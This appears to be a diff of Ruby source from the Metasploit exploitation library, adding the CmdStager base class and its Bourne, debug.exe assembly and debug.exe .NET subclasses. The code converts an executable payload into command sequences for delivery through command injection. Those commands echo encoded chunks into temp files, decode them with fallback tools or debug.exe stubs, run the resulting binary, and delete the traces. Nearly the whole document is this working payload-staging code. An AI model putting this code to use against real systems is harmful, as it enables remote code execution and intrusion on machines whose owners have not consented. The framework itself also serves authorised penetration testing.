require 'rex/exploitation/cmdstager/debug_asm'
|
|
7
|
+
require 'rex/exploitation/cmdstager/tftp'
|
|
8
|
+
require 'rex/exploitation/cmdstager/bourne'
|
|
9
|
+
require 'rex/exploitation/cmdstager/echo'
|
|
10
|
+
require 'rex/exploitation/cmdstager/printf'
|
|
@@ -0,0 +1,190 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
require 'rex/text'
|
|
3
|
+
require 'rex/arch'
|
|
4
|
+
require 'msf/core/framework'
|
|
5
|
+
|
|
6
|
+
module Rex
|
|
7
|
+
module Exploitation
|
|
8
|
+
|
|
9
|
+
###
|
|
10
|
+
#
|
|
11
|
+
# This class provides an interface to generating cmdstagers.
|
|
12
|
+
#
|
|
13
|
+
###
|
|
14
|
+
|
|
15
|
+
class CmdStagerBase
|
|
16
|
+
|
|
17
|
+
def initialize(exe)
|
|
18
|
+
@linemax = 2047 # covers most likely cases
|
|
19
|
+
@exe = exe
|
|
20
|
+
end
|
|
21
|
+
|
|
22
|
+
#
|
|
23
|
+
# Generates the cmd payload including the h2bv2 decoder and encoded payload.
|
|
24
|
+
# The resulting commands also perform cleanup, removing any left over files
|
|
25
|
+
#
|
|
26
|
+
def generate(opts = {})
|
|
27
|
+
# Allow temporary directory override
|
|
28
|
+
@tempdir = opts[:temp]
|
|
29
|
+
@tempdir ||= "%TEMP%\\"
|
|
30
|
+
if (@tempdir == '.')
|
|
31
|
+
@tempdir = ''
|
|
32
|
+
end
|
|
33
|
+
|
|
34
|
+
opts[:linemax] ||= @linemax
|
|
35
|
+
|
|
36
|
+
generate_cmds(opts)
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
#
|
|
41
|
+
# This does the work of actually building an array of commands that
|
|
42
|
+
# when executed will create and run an executable payload.
|
|
43
|
+
#
|
|
44
|
+
def generate_cmds(opts)
|
|
45
|
+
|
|
46
|
+
# Initialize an arry of commands to execute
|
|
47
|
+
cmds = []
|
|
48
|
+
|
|
49
|
+
# Add the exe building commands
|
|
50
|
+
cmds += generate_cmds_payload(opts)
|
|
51
|
+
|
|
52
|
+
# Add the decoder script building commands
|
|
53
|
+
cmds += generate_cmds_decoder(opts)
|
|
54
|
+
|
|
55
|
+
compress_commands(cmds, opts)
|
|
56
|
+
end
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
#
|
|
60
|
+
# Generate the commands to create an encoded version of the
|
|
61
|
+
# payload file
|
|
62
|
+
#
|
|
63
|
+
def generate_cmds_payload(opts)
|
|
64
|
+
|
|
65
|
+
# First encode the payload
|
|
66
|
+
encoded = encode_payload(opts)
|
|
67
|
+
|
|
68
|
+
# Now split it up into usable pieces
|
|
69
|
+
parts = slice_up_payload(encoded, opts)
|
|
70
|
+
|
|
71
|
+
# Turn each part into a valid command
|
|
72
|
+
parts_to_commands(parts, opts)
|
|
73
|
+
end
|
|
74
|
+
|
|
75
|
+
#
|
|
76
|
+
# This method is intended to be override by the child class
|
|
77
|
+
#
|
|
78
|
+
def encode_payload(opts)
|
|
79
|
+
# Defaults to nothing
|
|
80
|
+
""
|
|
81
|
+
end
|
|
82
|
+
|
|
83
|
+
#
|
|
84
|
+
# We take a string of data and turn it into an array of parts.
|
|
85
|
+
#
|
|
86
|
+
# We save opts[:extra] bytes out of every opts[:linemax] for the parts
|
|
87
|
+
# appended and prepended to the resulting elements.
|
|
88
|
+
#
|
|
89
|
+
def slice_up_payload(encoded, opts)
|
|
90
|
+
tmp = encoded.dup
|
|
91
|
+
|
|
92
|
+
parts = []
|
|
93
|
+
xtra_len = opts[:extra]
|
|
94
|
+
xtra_len ||= 0
|
|
95
|
+
while (tmp.length > 0)
|
|
96
|
+
parts << tmp.slice!(0, (opts[:linemax] - xtra_len))
|
|
97
|
+
end
|
|
98
|
+
|
|
99
|
+
parts
|
|
100
|
+
end
|
|
101
|
+
|
|
102
|
+
#
|
|
103
|
+
# Combine the parts of the encoded file with the stuff that goes
|
|
104
|
+
# before / after it -- example "echo " and " >>file"
|
|
105
|
+
#
|
|
106
|
+
def parts_to_commands(parts, opts)
|
|
107
|
+
# Return as-is
|
|
108
|
+
parts
|
|
109
|
+
end
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
|
|
113
|
+
#
|
|
114
|
+
# Generate the commands that will decode the file we just created
|
|
115
|
+
#
|
|
116
|
+
def generate_cmds_decoder(opts)
|
|
117
|
+
# Defaults to no commands.
|
|
118
|
+
[]
|
|
119
|
+
end
|
|
120
|
+
|
|
121
|
+
|
|
122
|
+
|
|
123
|
+
#
|
|
124
|
+
# Compress commands into as few lines as possible. Minimizes the number of
|
|
125
|
+
# commands to execute while maximizing the number of commands per execution.
|
|
126
|
+
#
|
|
127
|
+
def compress_commands(cmds, opts)
|
|
128
|
+
new_cmds = []
|
|
129
|
+
line = ''
|
|
130
|
+
|
|
131
|
+
concat = opts[:concat_operator] || cmd_concat_operator
|
|
132
|
+
|
|
133
|
+
# We cannot compress commands if there is no way to combine commands on
|
|
134
|
+
# a single line.
|
|
135
|
+
return cmds unless concat
|
|
136
|
+
|
|
137
|
+
cmds.each { |cmd|
|
|
138
|
+
|
|
139
|
+
# If this command will fit, concat it and move on.
|
|
140
|
+
if ((line.length + cmd.length + concat.length) < opts[:linemax])
|
|
141
|
+
line << concat if line.length > 0
|
|
142
|
+
line << cmd
|
|
143
|
+
next
|
|
144
|
+
end
|
|
145
|
+
|
|
146
|
+
# The command wont fit concat'd to this line, if we have something,
|
|
147
|
+
# we have to add it to the array now.
|
|
148
|
+
if (line.length > 0)
|
|
149
|
+
new_cmds << line
|
|
150
|
+
line = ''
|
|
151
|
+
end
|
|
152
|
+
|
|
153
|
+
# If it won't fit even after emptying the current line, error out..
|
|
154
|
+
if (cmd.length > opts[:linemax])
|
|
155
|
+
raise RuntimeError, 'Line too long - %u bytes, max %u' % [cmd.length, opts[:linemax]]
|
|
156
|
+
end
|
|
157
|
+
|
|
158
|
+
# It will indeed fit by itself, lets add it.
|
|
159
|
+
line << cmd
|
|
160
|
+
|
|
161
|
+
}
|
|
162
|
+
new_cmds << line if (line.length > 0)
|
|
163
|
+
|
|
164
|
+
# Return the final array.
|
|
165
|
+
new_cmds
|
|
166
|
+
end
|
|
167
|
+
|
|
168
|
+
#
|
|
169
|
+
# Can be overriden. For exmaple, use for unix use ";" instead
|
|
170
|
+
#
|
|
171
|
+
def cmd_concat_operator
|
|
172
|
+
nil
|
|
173
|
+
end
|
|
174
|
+
|
|
175
|
+
# Should be overriden if the cmd stager needs to setup anything
|
|
176
|
+
# before it's executed
|
|
177
|
+
def setup(mod = nil)
|
|
178
|
+
|
|
179
|
+
end
|
|
180
|
+
|
|
181
|
+
#
|
|
182
|
+
# Should be overriden if the cmd stager needs to do any clenaup
|
|
183
|
+
#
|
|
184
|
+
def teardown(mod = nil)
|
|
185
|
+
|
|
186
|
+
end
|
|
187
|
+
|
|
188
|
+
end
|
|
189
|
+
end
|
|
190
|
+
end
|
|
@@ -0,0 +1,105 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
|
|
3
|
+
require 'rex/text'
|
|
4
|
+
require 'rex/arch'
|
|
5
|
+
require 'msf/core/framework'
|
|
6
|
+
|
|
7
|
+
module Rex
|
|
8
|
+
module Exploitation
|
|
9
|
+
|
|
10
|
+
class CmdStagerBourne < CmdStagerBase
|
|
11
|
+
|
|
12
|
+
def initialize(exe)
|
|
13
|
+
super
|
|
14
|
+
|
|
15
|
+
@var_encoded = Rex::Text.rand_text_alpha(5)
|
|
16
|
+
@var_decoded = Rex::Text.rand_text_alpha(5)
|
|
17
|
+
end
|
|
18
|
+
|
|
19
|
+
def generate(opts = {})
|
|
20
|
+
opts[:temp] = opts[:temp] || '/tmp/'
|
|
21
|
+
opts[:temp] = opts[:temp].gsub(/'/, "\\\\'")
|
|
22
|
+
opts[:temp] = opts[:temp].gsub(/ /, "\\ ")
|
|
23
|
+
super
|
|
24
|
+
end
|
|
25
|
+
|
|
26
|
+
#
|
|
27
|
+
# Override just to set the extra byte count
|
|
28
|
+
#
|
|
29
|
+
def generate_cmds(opts)
|
|
30
|
+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
|
31
|
+
@cmd_start = "echo -n "
|
|
32
|
+
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
|
|
33
|
+
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
|
34
|
+
opts.merge!({ :extra => xtra_len })
|
|
35
|
+
super
|
|
36
|
+
end
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
#
|
|
40
|
+
# Simple base64...
|
|
41
|
+
#
|
|
42
|
+
def encode_payload(opts)
|
|
43
|
+
Rex::Text.encode_base64(@exe)
|
|
44
|
+
end
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
#
|
|
48
|
+
# Combine the parts of the encoded file with the stuff that goes
|
|
49
|
+
# before / after it.
|
|
50
|
+
#
|
|
51
|
+
def parts_to_commands(parts, opts)
|
|
52
|
+
|
|
53
|
+
cmds = []
|
|
54
|
+
parts.each do |p|
|
|
55
|
+
cmd = ''
|
|
56
|
+
cmd << @cmd_start
|
|
57
|
+
cmd << p
|
|
58
|
+
cmd << @cmd_end
|
|
59
|
+
cmds << cmd
|
|
60
|
+
end
|
|
61
|
+
|
|
62
|
+
cmds
|
|
63
|
+
end
|
|
64
|
+
|
|
65
|
+
#
|
|
66
|
+
# Generate the commands that will decode the file we just created
|
|
67
|
+
#
|
|
68
|
+
def generate_cmds_decoder(opts)
|
|
69
|
+
decoders = [
|
|
70
|
+
"base64 --decode -",
|
|
71
|
+
"openssl enc -d -A -base64 -in /dev/stdin",
|
|
72
|
+
"python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'",
|
|
73
|
+
"perl -MMIME::Base64 -ne 'print decode_base64($_)'"
|
|
74
|
+
]
|
|
75
|
+
decoder_cmd = []
|
|
76
|
+
decoders.each do |cmd|
|
|
77
|
+
binary = cmd.split(' ')[0]
|
|
78
|
+
decoder_cmd << "(which #{binary} >&2 && #{cmd})"
|
|
79
|
+
end
|
|
80
|
+
decoder_cmd = decoder_cmd.join(" || ")
|
|
81
|
+
decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > #{@tempdir}#{@var_decoded}.bin < #{@tempdir}#{@var_encoded}.b64"
|
|
82
|
+
[ decoder_cmd ]
|
|
83
|
+
end
|
|
84
|
+
|
|
85
|
+
def compress_commands(cmds, opts)
|
|
86
|
+
# Make it all happen
|
|
87
|
+
cmds << "chmod +x #{@tempdir}#{@var_decoded}.bin"
|
|
88
|
+
cmds << "#{@tempdir}#{@var_decoded}.bin"
|
|
89
|
+
|
|
90
|
+
# Clean up after unless requested not to..
|
|
91
|
+
if (not opts[:nodelete])
|
|
92
|
+
cmds << "rm -f #{@tempdir}#{@var_decoded}.bin"
|
|
93
|
+
cmds << "rm -f #{@tempdir}#{@var_encoded}.b64"
|
|
94
|
+
end
|
|
95
|
+
|
|
96
|
+
super
|
|
97
|
+
end
|
|
98
|
+
|
|
99
|
+
def cmd_concat_operator
|
|
100
|
+
" ; "
|
|
101
|
+
end
|
|
102
|
+
|
|
103
|
+
end
|
|
104
|
+
end
|
|
105
|
+
end
|
|
@@ -0,0 +1,140 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
|
|
3
|
+
require 'rex/text'
|
|
4
|
+
require 'rex/arch'
|
|
5
|
+
require 'msf/core/framework'
|
|
6
|
+
|
|
7
|
+
module Rex
|
|
8
|
+
module Exploitation
|
|
9
|
+
|
|
10
|
+
###
|
|
11
|
+
#
|
|
12
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
|
13
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
|
14
|
+
# be written to disk and executed.
|
|
15
|
+
#
|
|
16
|
+
# This particular version uses debug.exe to assemble a small COM file. The COM will
|
|
17
|
+
# take a hex-ascii file, created via echo >>, and decode it to the final binary.
|
|
18
|
+
#
|
|
19
|
+
# Requires: debug.exe
|
|
20
|
+
#
|
|
21
|
+
# Written by Joshua J. Drake
|
|
22
|
+
#
|
|
23
|
+
###
|
|
24
|
+
|
|
25
|
+
class CmdStagerDebugAsm < CmdStagerBase
|
|
26
|
+
|
|
27
|
+
def initialize(exe)
|
|
28
|
+
super
|
|
29
|
+
|
|
30
|
+
@var_decoder_asm = Rex::Text.rand_text_alpha(8) + ".dat"
|
|
31
|
+
@var_decoder_com = Rex::Text.rand_text_alpha(8) + ".com"
|
|
32
|
+
@var_payload_in = Rex::Text.rand_text_alpha(8) + ".dat"
|
|
33
|
+
@var_payload_out = Rex::Text.rand_text_alpha(8) + ".exe"
|
|
34
|
+
@decoder = nil # filled in later
|
|
35
|
+
end
|
|
36
|
+
|
|
37
|
+
|
|
38
|
+
#
|
|
39
|
+
# Override just to set the extra byte count
|
|
40
|
+
#
|
|
41
|
+
def generate_cmds(opts)
|
|
42
|
+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
|
43
|
+
@cmd_start = "echo "
|
|
44
|
+
@cmd_end = ">>#{@tempdir}#{@var_payload_in}"
|
|
45
|
+
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
|
46
|
+
opts.merge!({ :extra => xtra_len })
|
|
47
|
+
super
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
#
|
|
52
|
+
# Simple hex encoding...
|
|
53
|
+
#
|
|
54
|
+
def encode_payload(opts)
|
|
55
|
+
ret = @exe.unpack('H*')[0]
|
|
56
|
+
end
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
#
|
|
60
|
+
# Combine the parts of the encoded file with the stuff that goes
|
|
61
|
+
# before / after it.
|
|
62
|
+
#
|
|
63
|
+
def parts_to_commands(parts, opts)
|
|
64
|
+
|
|
65
|
+
cmds = []
|
|
66
|
+
parts.each do |p|
|
|
67
|
+
cmd = ''
|
|
68
|
+
cmd << @cmd_start
|
|
69
|
+
cmd << p
|
|
70
|
+
cmd << @cmd_end
|
|
71
|
+
cmds << cmd
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
cmds
|
|
75
|
+
end
|
|
76
|
+
|
|
77
|
+
|
|
78
|
+
#
|
|
79
|
+
# Generate the commands that will decode the file we just created
|
|
80
|
+
#
|
|
81
|
+
def generate_cmds_decoder(opts)
|
|
82
|
+
|
|
83
|
+
# Allow decoder stub override (needs to input base64 and output bin)
|
|
84
|
+
@decoder = opts[:decoder] if (opts[:decoder])
|
|
85
|
+
|
|
86
|
+
# Read the decoder data file
|
|
87
|
+
f = File.new(@decoder, "rb")
|
|
88
|
+
decoder = f.read(f.stat.size)
|
|
89
|
+
f.close
|
|
90
|
+
|
|
91
|
+
# Replace variables
|
|
92
|
+
decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_decoder_asm}")
|
|
93
|
+
decoder.gsub!(/h2b\.com/, "#{@tempdir}#{@var_decoder_com}")
|
|
94
|
+
# NOTE: these two filenames MUST 8+3 chars long.
|
|
95
|
+
decoder.gsub!(/testfile\.dat/, "#{@var_payload_in}")
|
|
96
|
+
decoder.gsub!(/testfile\.out/, "#{@var_payload_out}")
|
|
97
|
+
|
|
98
|
+
# Split it apart by the lines
|
|
99
|
+
decoder.split("\n")
|
|
100
|
+
end
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
#
|
|
104
|
+
# We override compress commands just to stick in a few extra commands
|
|
105
|
+
# last second..
|
|
106
|
+
#
|
|
107
|
+
def compress_commands(cmds, opts)
|
|
108
|
+
# Convert the debug script to an executable...
|
|
109
|
+
cvt_cmd = ''
|
|
110
|
+
if (@tempdir != '')
|
|
111
|
+
cvt_cmd << "cd %TEMP% && "
|
|
112
|
+
end
|
|
113
|
+
cvt_cmd << "debug < #{@tempdir}#{@var_decoder_asm}"
|
|
114
|
+
cmds << cvt_cmd
|
|
115
|
+
|
|
116
|
+
# Convert the encoded payload...
|
|
117
|
+
cmds << "#{@tempdir}#{@var_decoder_com}"
|
|
118
|
+
|
|
119
|
+
# Make it all happen
|
|
120
|
+
cmds << "start #{@tempdir}#{@var_payload_out}"
|
|
121
|
+
|
|
122
|
+
# Clean up after unless requested not to..
|
|
123
|
+
if (not opts[:nodelete])
|
|
124
|
+
cmds << "del #{@tempdir}#{@var_decoder_asm}"
|
|
125
|
+
cmds << "del #{@tempdir}#{@var_decoder_com}"
|
|
126
|
+
cmds << "del #{@tempdir}#{@var_payload_in}"
|
|
127
|
+
# XXX: We won't be able to delete the payload while it is running..
|
|
128
|
+
end
|
|
129
|
+
|
|
130
|
+
super
|
|
131
|
+
end
|
|
132
|
+
|
|
133
|
+
# Windows uses & to concat strings
|
|
134
|
+
def cmd_concat_operator
|
|
135
|
+
" & "
|
|
136
|
+
end
|
|
137
|
+
|
|
138
|
+
end
|
|
139
|
+
end
|
|
140
|
+
end
|
|
@@ -0,0 +1,134 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
|
|
3
|
+
require 'rex/text'
|
|
4
|
+
require 'rex/arch'
|
|
5
|
+
require 'msf/core/framework'
|
|
6
|
+
|
|
7
|
+
module Rex
|
|
8
|
+
module Exploitation
|
|
9
|
+
|
|
10
|
+
###
|
|
11
|
+
#
|
|
12
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
|
13
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
|
14
|
+
# be written to disk and executed.
|
|
15
|
+
#
|
|
16
|
+
# This particular version uses debug.exe to write a small .NET binary. That binary will
|
|
17
|
+
# take a hex-ascii file, created via echo >>, and decode it to the final binary.
|
|
18
|
+
#
|
|
19
|
+
# Requires: .NET, debug.exe
|
|
20
|
+
#
|
|
21
|
+
###
|
|
22
|
+
|
|
23
|
+
class CmdStagerDebugWrite < CmdStagerBase
|
|
24
|
+
|
|
25
|
+
def initialize(exe)
|
|
26
|
+
super
|
|
27
|
+
|
|
28
|
+
@var_bypass = Rex::Text.rand_text_alpha(8)
|
|
29
|
+
@var_payload = Rex::Text.rand_text_alpha(8)
|
|
30
|
+
@decoder = nil # filled in later
|
|
31
|
+
end
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
#
|
|
35
|
+
# Override just to set the extra byte count
|
|
36
|
+
#
|
|
37
|
+
def generate_cmds(opts)
|
|
38
|
+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
|
39
|
+
@cmd_start = "echo "
|
|
40
|
+
@cmd_end = ">>#{@tempdir}#{@var_payload}"
|
|
41
|
+
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
|
42
|
+
opts.merge!({ :extra => xtra_len })
|
|
43
|
+
super
|
|
44
|
+
end
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
#
|
|
48
|
+
# Simple hex encoding...
|
|
49
|
+
#
|
|
50
|
+
def encode_payload(opts)
|
|
51
|
+
@exe.unpack('H*')[0]
|
|
52
|
+
end
|
|
53
|
+
|
|
54
|
+
|
|
55
|
+
#
|
|
56
|
+
# Combine the parts of the encoded file with the stuff that goes
|
|
57
|
+
# before / after it.
|
|
58
|
+
#
|
|
59
|
+
def parts_to_commands(parts, opts)
|
|
60
|
+
|
|
61
|
+
cmds = []
|
|
62
|
+
parts.each do |p|
|
|
63
|
+
cmd = ''
|
|
64
|
+
cmd << @cmd_start
|
|
65
|
+
cmd << p
|
|
66
|
+
cmd << @cmd_end
|
|
67
|
+
cmds << cmd
|
|
68
|
+
end
|
|
69
|
+
|
|
70
|
+
cmds
|
|
71
|
+
end
|
|
72
|
+
|
|
73
|
+
|
|
74
|
+
#
|
|
75
|
+
# Generate the commands that will decode the file we just created
|
|
76
|
+
#
|
|
77
|
+
def generate_cmds_decoder(opts)
|
|
78
|
+
|
|
79
|
+
# Allow decoder stub override (needs to input base64 and output bin)
|
|
80
|
+
@decoder = opts[:decoder] if (opts[:decoder])
|
|
81
|
+
|
|
82
|
+
# Read the decoder data file
|
|
83
|
+
f = File.new(@decoder, "rb")
|
|
84
|
+
decoder = f.read(f.stat.size)
|
|
85
|
+
f.close
|
|
86
|
+
|
|
87
|
+
# Replace variables
|
|
88
|
+
decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_bypass}")
|
|
89
|
+
|
|
90
|
+
# Split it apart by the lines
|
|
91
|
+
decoder.split("\n")
|
|
92
|
+
end
|
|
93
|
+
|
|
94
|
+
|
|
95
|
+
#
|
|
96
|
+
# We override compress commands just to stick in a few extra commands
|
|
97
|
+
# last second..
|
|
98
|
+
#
|
|
99
|
+
def compress_commands(cmds, opts)
|
|
100
|
+
# Convert the debug script to an executable...
|
|
101
|
+
cvt_cmd = ''
|
|
102
|
+
if (@tempdir != '')
|
|
103
|
+
cvt_cmd << "cd %TEMP% && "
|
|
104
|
+
end
|
|
105
|
+
cvt_cmd << "debug < #{@tempdir}#{@var_bypass}"
|
|
106
|
+
cmds << cvt_cmd
|
|
107
|
+
|
|
108
|
+
# Rename the resulting binary
|
|
109
|
+
cmds << "move #{@tempdir}#{@var_bypass}.bin #{@tempdir}#{@var_bypass}.exe"
|
|
110
|
+
|
|
111
|
+
# Converting the encoded payload...
|
|
112
|
+
cmds << "#{@tempdir}#{@var_bypass}.exe #{@tempdir}#{@var_payload}"
|
|
113
|
+
|
|
114
|
+
# Make it all happen
|
|
115
|
+
cmds << "start #{@tempdir}#{@var_payload}.exe"
|
|
116
|
+
|
|
117
|
+
# Clean up after unless requested not to..
|
|
118
|
+
if (not opts[:nodelete])
|
|
119
|
+
cmds << "del #{@tempdir}#{@var_bypass}.exe"
|
|
120
|
+
cmds << "del #{@tempdir}#{@var_payload}"
|
|
121
|
+
# XXX: We won't be able to delete the payload while it is running..
|
|
122
|
+
end
|
|
123
|
+
|
|
124
|
+
super
|
|
125
|
+
end
|
|
126
|
+
|
|
127
|
+
# Windows uses & to concat strings
|
|
128
|
+
def cmd_concat_operator
|
|
129
|
+
" & "
|
|
130
|
+
end
|
|
131
|
+
|
|
132
|
+
end
|
|
133
|
+
end
|
|
134
|
+
end
|